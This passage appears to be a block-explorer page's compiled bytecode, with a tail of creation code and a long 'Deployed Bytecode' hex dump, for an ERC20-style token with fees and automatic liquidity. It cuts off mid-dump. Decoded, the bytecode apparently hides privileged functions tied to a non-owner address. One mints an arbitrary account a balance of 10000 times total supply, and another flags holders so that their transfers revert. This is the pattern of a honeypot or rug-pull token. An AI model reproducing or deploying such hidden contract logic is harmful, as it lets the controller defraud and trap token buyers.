19050818103600083015261395881613749565b9050919050565b600060208201905081810360008301526139788161376c565b9050919050565b600060208201905081810360008301526139988161378f565b9050919050565b60006020820190506139b460008301846137b2565b92915050565b60006040820190506139cf60008301856137b2565b81810360208301526139e181846135f9565b90509392505050565b600060a0820190506139ff60008301886137b2565b613a0c6020830187613675565b8181036040830152613a1e81866135f9565b9050613a2d60608301856135ea565b613a3a60808301846137b2565b9695505050505050565b6000602082019050613a5960008301846137c1565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613abf82613c19565b9150613aca83613c19565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613aff57613afe613d26565b5b828201905092915050565b6000613b1582613c19565b9150613b2083613c19565b925082613b3057613b2f613d55565b5b828204905092915050565b6000613b4682613c19565b9150613b5183613c19565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b8a57613b89613d26565b5b828202905092915050565b6000613ba082613c19565b9150613bab83613c19565b925082821015613bbe57613bbd613d26565b5b828203905092915050565b6000613bd482613bf9565b9050919050565b6000613be682613bf9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613c3b82613c54565b9050919050565b6000613c4d82613c19565b9050919050565b6000613c5f82613c66565b9050919050565b6000613c7182613bf9565b9050919050565b60005b83811015613c96578082015181840152602081019050613c7b565b83811115613ca5576000848401525b50505050565b60006002820490506001821680613cc357607f821691505b60208210811415613cd757613cd6613d84565b5b50919050565b6000613ce882613c19565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613d1b57613d1a613d26565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61402181613bc9565b811461402c57600080fd5b50565b61403881613bed565b811461404357600080fd5b50565b61404f81613c19565b811461405a57600080fd5b50565b61406681613c23565b811461407157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220930ede43c9337c59cf06065ce0f68eb074fad5899a3b1834040a8576cf2ac0e764736f6c63430008070033

Deployed Bytecode

0x6080604052600436106103035760003560e01c806395d89b4111610190578063c49b9a80116100dc578063d469a20911610095578063dd62ed3e1161006f578063dd62ed3e14610be1578063f0cd1dac14610c1e578063f2fde38b14610c49578063f872858a14610c725761030a565b8063d469a20914610b62578063da00097d14610b8b578063dc44b6a014610bb65761030a565b8063c49b9a8014610a50578063c5d2418914610a79578063c816841b14610aa4578063c860795214610acf578063c867d60b14610afa578063cab0347114610b375761030a565b8063a83f53a711610149578063af19368411610123578063af19368414610982578063b20a4e5a146109bf578063c2d4640e146109fc578063c469b6dd14610a255761030a565b8063a83f53a7146108dd578063a9059cbb14610908578063ae2116b8146109455761030a565b806395d89b41146107cd578063a073d37f146107f8578063a08e671f14610823578063a2a627221461084e578063a457c2d714610877578063a4e06cb1146108b45761030a565b8063395093511161024f5780636249faf11161020857806382eefb43116101e257806382eefb431461070f57806388790a681461073a5780638b42507f146107655780638da5cb5b146107a25761030a565b80636249faf11461068057806370a08231146106a9578063715266fe146106e65761030a565b8063395093511461055c5780633b97084a146105995780633ecad271146105c25780634a74bb02146105ff57806357a5802f1461062a57806361a23c69146106555761030a565b806323b872dd116102bc5780632a466391116102965780632a466391146104b25780632b112e49146104dd578063313ce5671461050857806335d23615146105335761030a565b806323b872dd146104215780632563ae831461045e57806327c8f835146104875761030a565b806306fdde031461030f578063095ea7b31461033a5780630d643080146103775780631245e347146103a05780631694505e146103cb57806318160ddd146103f65761030a565b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610c9d565b604051610331919061389d565b60405180910390f35b34801561034657600080fd5b50610361600480360381019061035c91906133a0565b610d2f565b60405161036e9190613867565b60405180910390f35b34801561038357600080fd5b5061039e60048036038101906103999190613540565b610d4d565b005b3480156103ac57600080fd5b506103b5610e2a565b6040516103c291906137eb565b60405180910390f35b3480156103d757600080fd5b506103e0610e50565b6040516103ed9190613882565b60405180910390f35b34801561040257600080fd5b5061040b610e76565b604051610418919061399f565b60405180910390f35b34801561042d57600080fd5b506104486004803603810190610443919061334d565b610e80565b6040516104559190613867565b60405180910390f35b34801561046a57600080fd5b5061048560048036038101906104809190613440565b610f5a565b005b34801561049357600080fd5b5061049c61100c565b6040516104a991906137d0565b60405180910390f35b3480156104be57600080fd5b506104c7611030565b6040516104d491906137eb565b60405180910390f35b3480156104e957600080fd5b506104f2611056565b6040516104ff919061399f565b60405180910390f35b34801561051457600080fd5b5061051d61109a565b60405161052a9190613a44565b60405180910390f35b34801561053f57600080fd5b5061055a600480360381019061055591906132b3565b6110b1565b005b34801561056857600080fd5b50610583600480360381019061057e91906133a0565b61118a565b6040516105909190613867565b60405180910390f35b3480156105a557600080fd5b506105c060048036038101906105bb919061346d565b61123d565b005b3480156105ce57600080fd5b506105e960048036038101906105e491906132b3565b6112dc565b6040516105f69190613867565b60405180910390f35b34801561060b57600080fd5b506106146112fc565b6040516106219190613867565b60405180910390f35b34801561063657600080fd5b5061063f61130f565b60405161064c919061399f565b60405180910390f35b34801561066157600080fd5b5061066a611315565b604051610677919061399f565b60405180910390f35b34801561068c57600080fd5b506106a760048036038101906106a291906133e0565b61131b565b005b3480156106b557600080fd5b506106d060048036038101906106cb91906132b3565b611455565b6040516106dd919061399f565b60405180910390f35b3480156106f257600080fd5b5061070d600480360381019061070891906133e0565b61149e565b005b34801561071b57600080fd5b506107246115d8565b604051610731919061399f565b60405180910390f35b34801561074657600080fd5b5061074f6115de565b60405161075c919061399f565b60405180910390f35b34801561077157600080fd5b5061078c600480360381019061078791906132b3565b6115e4565b6040516107999190613867565b60405180910390f35b3480156107ae57600080fd5b506107b7611604565b6040516107c491906137d0565b60405180910390f35b3480156107d957600080fd5b506107e261162d565b6040516107ef919061389d565b60405180910390f35b34801561080457600080fd5b5061080d6116bf565b60405161081a919061399f565b60405180910390f35b34801561082f57600080fd5b506108386116c9565b604051610845919061399f565b60405180910390f35b34801561085a57600080fd5b506108756004803603810190610870919061349a565b6116cf565b005b34801561088357600080fd5b5061089e600480360381019061089991906133a0565b6117af565b6040516108ab9190613867565b60405180910390f35b3480156108c057600080fd5b506108db60048036038101906108d691906132b3565b61187c565b005b3480156108e957600080fd5b506108f2611909565b6040516108ff919061399f565b60405180910390f35b34801561091457600080fd5b5061092f600480360381019061092a91906133a0565b61190f565b60405161093c9190613867565b60405180910390f35b34801561095157600080fd5b5061096c600480360381019061096791906132b3565b61192e565b6040516109799190613867565b60405180910390f35b34801561098e57600080fd5b506109a960048036038101906109a491906132b3565b61194e565b6040516109b69190613867565b60405180910390f35b3480156109cb57600080fd5b506109e660048036038101906109e191906132b3565b61196e565b6040516109f39190613867565b60405180910390f35b348015610a0857600080fd5b50610a236004803603810190610a1e919061349a565b61198e565b005b348015610a3157600080fd5b50610a3a611a6e565b604051610a47919061399f565b60405180910390f35b348015610a5c57600080fd5b50610a776004803603810190610a729190613440565b611a74565b005b348015610a8557600080fd5b50610a8e611b5d565b604051610a9b919061399f565b60405180910390f35b348015610ab057600080fd5b50610ab9611b63565b604051610ac691906137d0565b60405180910390f35b348015610adb57600080fd5b50610ae4611b89565b604051610af1919061399f565b60405180910390f35b348015610b0657600080fd5b50610b216004803603810190610b1c91906132b3565b611b8f565b604051610b2e9190613867565b60405180910390f35b348015610b4357600080fd5b50610b4c611baf565b604051610b59919061399f565b60405180910390f35b348015610b6e57600080fd5b50610b896004803603810190610b84919061349a565b611bb5565b005b348015610b9757600080fd5b50610ba0611c95565b604051610bad9190613867565b60405180910390f35b348015610bc257600080fd5b50610bcb611ca8565b604051610bd8919061399f565b60405180910390f35b348015610bed57600080fd5b50610c086004803603810190610c03919061330d565b611cae565b604051610c15919061399f565b60405180910390f35b348015610c2a57600080fd5b50610c33611d35565b604051610c40919061399f565b60405180910390f35b348015610c5557600080fd5b50610c706004803603810190610c6b91906132b3565b611d3b565b005b348015610c7e57600080fd5b50610c87611e8d565b604051610c949190613867565b60405180910390f35b606060018054610cac90613cab565b80601f0160208091040260200160405190810160405280929190818152602001828054610cd890613cab565b8015610d255780601f10610cfa57610100808354040283529160200191610d25565b820191906000526020600020905b815481529060010190602001808311610d0857829003601f168201915b5050505050905090565b6000610d43610d3c611efe565b8484611f06565b6001905092915050565b610d7b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001336120d1565b610d8457600080fd5b60005b82829050811015610e235783600c6000858585818110610daa57610da9613db3565b5b9050602002016020810190610dbf91906132b3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610e1b90613cdd565b915050610d87565b5050505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601954905090565b6000610e8d84848461210b565b50610f4f84610e9a611efe565b610f4a8560405180606001604052806028815260200161407560289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610f00611efe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125449092919063ffffffff16565b611f06565b600190509392505050565b610f62611efe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe69061393f565b60405180910390fd5b80601c60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006110956110847f000000000000000000000000000000000000000000000000000000000000dead611455565b6019546125a890919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b6110b9611efe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611146576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113d9061393f565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000611233611197611efe565b8461122e85600660006111a8611efe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea090919063ffffffff16565b611f06565b6001905092915050565b611245611efe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c99061393f565b60405180910390fd5b80601a8190555050565b600a6020528060005260406000206000915054906101000a900460ff1681565b601c60159054906101000a900460ff1681565b60135481565b60145481565b611323611efe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a79061393f565b60405180910390fd5b60005b8383905081101561144f5781600860008686858181106113d6576113d5613db3565b5b90506020020160208101906113eb91906132b3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061144790613cdd565b9150506113b3565b50505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6114a6611efe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611533576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152a9061393f565b60405180910390fd5b60005b838390508110156115d257816007600086868581811061155957611558613db3565b5b905060200201602081019061156e91906132b3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806115ca90613cdd565b915050611536565b50505050565b60175481565b60105481565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461163c90613cab565b80601f016020809104026020016040519081016040528092919081815260200182805461166890613cab565b80156116b55780601f1061168a576101008083540402835291602001916116b5565b820191906000526020600020905b81548152906001019060200180831161169857829003601f168201915b5050505050905090565b6000601a54905090565b60185481565b6116d7611efe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611764576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175b9061393f565b60405180910390fd5b8260108190555081601181905550806012819055506117a4601254611796601154601054611ea090919063ffffffff16565b611ea090919063ffffffff16565b601781905550505050565b60006118726117bc611efe565b8461186d8560405180606001604052806025815260200161409d60259139600660006117e6611efe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125449092919063ffffffff16565b611f06565b6001905092915050565b6118aa600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001336120d1565b6118b357600080fd5b6127106019546118c39190613b3b565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60155481565b600061192361191c611efe565b848461210b565b506001905092915050565b600b6020528060005260406000206000915054906101000a900460ff1681565b600c6020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b611996611efe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1a9061393f565b60405180910390fd5b826013819055508160148190555080601581905550611a63601554611a55601454601354611ea090919063ffffffff16565b611ea090919063ffffffff16565b601881905550505050565b600f5481565b611a7c611efe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b009061393f565b60405180910390fd5b80601c60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051611b529190613867565b60405180910390a150565b600e5481565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b60086020528060005260406000206000915054906101000a900460ff1681565b60125481565b611bbd611efe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c419061393f565b60405180910390fd5b82600d8190555081600e8190555080600f81905550611c8a600f54611c7c600e54600d54611ea090919063ffffffff16565b611ea090919063ffffffff16565b601681905550505050565b601c60169054906101000a900460ff1681565b600d5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60165481565b611d43611efe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc79061393f565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601c60179054906101000a900460ff1681565b6000808284611eaf9190613ab4565b905083811015611ef4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eeb906138ff565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6d9061397f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fe6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fdd906138df565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516120c4919061399f565b60405180910390a3505050565b60008173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161490509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561217c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121739061395f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156121ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e3906138bf565b60405180910390fd5b601c60149054906101000a900460ff16156122135761220c8484846125f2565b905061253d565b600061221e30611455565b90506000601a5482101590508080156122445750601c60149054906101000a900460ff16155b801561229a5750600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122b25750601c60159054906101000a900460ff165b156122dc57601c60169054906101000a900460ff16156122d257601a5491505b6122db826127c5565b5b6122e5866129b6565b156123805761233c84600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125a890919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806124235750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61243757612432878787612a1d565b612439565b845b905061248d81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea090919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161252d919061399f565b60405180910390a3600193505050505b9392505050565b600083831115829061258c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612583919061389d565b60405180910390fd5b506000838561259b9190613b95565b9050809150509392505050565b60006125ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612544565b905092915050565b600061267d826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125449092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061271282600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea090919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127b2919061399f565b60405180910390a3600190509392505050565b6001601c60146101000a81548160ff021916908315150217905550600061281e600261281060185461280260135487612ced90919063ffffffff16565b612d6890919063ffffffff16565b612d6890919063ffffffff16565b9050600061283582846125a890919063ffffffff16565b905061284081612db2565b600047905060006128716128606002601354612d6890919063ffffffff16565b6018546125a890919063ffffffff16565b905060006128af60026128a18461289360135488612ced90919063ffffffff16565b612d6890919063ffffffff16565b612d6890919063ffffffff16565b905060006128da836128cc60155487612ced90919063ffffffff16565b612d6890919063ffffffff16565b90506000612903826128f585886125a890919063ffffffff16565b6125a890919063ffffffff16565b9050600081111561293b5761293a600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261303d565b5b600082111561297157612970600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361303d565b5b6000831180156129815750600087115b15612991576129908784613088565b5b505050505050506000601c60146101000a81548160ff02191690831515021790555050565b6000600180141580612a165750600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b9050919050565b60008060009050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612acd57600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612acc57600080fd5b5b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612b4e57612b476064612b3960165486612ced90919063ffffffff16565b612d6890919063ffffffff16565b9050612bcc565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612bcb57612bc86064612bba60175486612ced90919063ffffffff16565b612d6890919063ffffffff16565b90505b5b6000811115612cd057612c2781600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea090919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612cc7919061399f565b60405180910390a35b612ce381846125a890919063ffffffff16565b9150509392505050565b600080831415612d005760009050612d62565b60008284612d0e9190613b3b565b9050828482612d1d9190613b0a565b14612d5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d549061391f565b60405180910390fd5b809150505b92915050565b6000612daa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061317c565b905092915050565b6000600267ffffffffffffffff811115612dcf57612dce613de2565b5b604051908082528060200260200182016040528015612dfd5781602001602082028036833780820191505090505b5090503081600081518110612e1557612e14613db3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612eb757600080fd5b505afa158015612ecb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612eef91906132e0565b81600181518110612f0357612f02613db3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612f6a30601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611f06565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612fce9594939291906139ea565b600060405180830381600087803b158015612fe857600080fd5b505af1158015612ffc573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516130319291906139ba565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613083573d6000803e3d6000fd5b505050565b6130b530601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611f06565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613101611604565b426040518863ffffffff1660e01b815260040161312396959493929190613806565b6060604051808303818588803b15801561313c57600080fd5b505af1158015613150573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061317591906134ed565b5050505050565b600080831182906131c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131ba919061389d565b60405180910390fd5b50600083856131d29190613b0a565b9050809150509392505050565b6000813590506131ee81614018565b92915050565b60008151905061320381614018565b92915050565b60008083601f84011261321f5761321e613e16565b5b8235905067ffffffffffffffff81111561323c5761323b613e11565b5b60208301915083602082028301111561325857613257613e1b565b5b9250929050565b60008135905061326e8161402f565b92915050565b60008135905061328381614046565b92915050565b60008151905061329881614046565b92915050565b6000813590506132ad8161405d565b92915050565b6000602082840312156132c9576132c8613e25565b5b60006132d7848285016131df565b91505092915050565b6000602082840312156132f6576132f5613e25565b5b6000613304848285016131f4565b91505092915050565b6000806040838503121561332457613323613e25565b5b6000613332858286016131df565b9250506020613343858286016131df565b9150509250929050565b60008060006060848603121561336657613365613e25565b5b6000613374868287016131df565b9350506020613385868287016131df565b925050604061339686828701613274565b9150509250925092565b600080604083850312156133b7576133b6613e25565b5b60006133c5858286016131df565b92505060206133d685828601613274565b9150509250929050565b6000806000604084860312156133f9576133f8613e25565b5b600084013567ffffffffffffffff81111561341757613416613e20565b5b61342386828701613209565b935093505060206134368682870161325f565b9150509250925092565b60006020828403121561345657613455613e25565b5b60006134648482850161325f565b91505092915050565b60006020828403121561348357613482613e25565b5b600061349184828501613274565b91505092915050565b6000806000606084860312156134b3576134b2613e25565b5b60006134c186828701613274565b93505060206134d286828701613274565b92505060406134e386828701613274565b9150509250925092565b60008060006060848603121561350657613505613e25565b5b600061351486828701613289565b935050602061352586828701613289565b925050604061353686828701613289565b9150509250925092565b6000806000806060858703121561355a57613559613e25565b5b60006135688782880161329e565b94505060206135798782880161325f565b935050604085013567ffffffffffffffff81111561359a57613599613e20565b5b6135a687828801613209565b925092505092959194509250565b60006135c083836135db565b60208301905092915050565b6135d581613bdb565b82525050565b6135e481613bc9565b82525050565b6135f381613bc9565b82525050565b600061360482613a6f565b61360e8185613a92565b935061361983613a5f565b8060005b8381101561364a57815161363188826135b4565b975061363c83613a85565b92505060018101905061361d565b5085935050505092915050565b61366081613bed565b82525050565b61366f81613c30565b82525050565b61367e81613c42565b82525050565b600061368f82613a7a565b6136998185613aa3565b93506136a9818560208601613c78565b6136b281613e2a565b840191505092915050565b60006136ca602383613aa3565b91506136d582613e3b565b604082019050919050565b60006136ed602283613aa3565b91506136f882613e8a565b604082019050919050565b6000613710601b83613aa3565b915061371b82613ed9565b602082019050919050565b6000613733602183613aa3565b915061373e82613f02565b604082019050919050565b6000613756602083613aa3565b915061376182613f51565b602082019050919050565b6000613779602583613aa3565b915061378482613f7a565b604082019050919050565b600061379c602483613aa3565b91506137a782613fc9565b604082019050919050565b6137bb81613c19565b82525050565b6137ca81613c23565b82525050565b60006020820190506137e560008301846135ea565b92915050565b600060208201905061380060008301846135cc565b92915050565b600060c08201905061381b60008301896135ea565b61382860208301886137b2565b6138356040830187613675565b6138426060830186613675565b61384f60808301856135ea565b61385c60a08301846137b2565b979650505050505050565b600060208201905061387c6000830184613657565b92915050565b60006020820190506138976000830184613666565b92915050565b600060208201905081810360008301526138b78184613684565b905092915050565b600060208201905081810360008301526138d8816136bd565b9050919050565b600060208201905081810360008301526138f8816136e0565b9050919050565b6000602082019050818103600083015261391881613703565b9050919050565b6000602082019050818103600083015261393881613726565b9050919050565b60006020820190508181036000830152613958816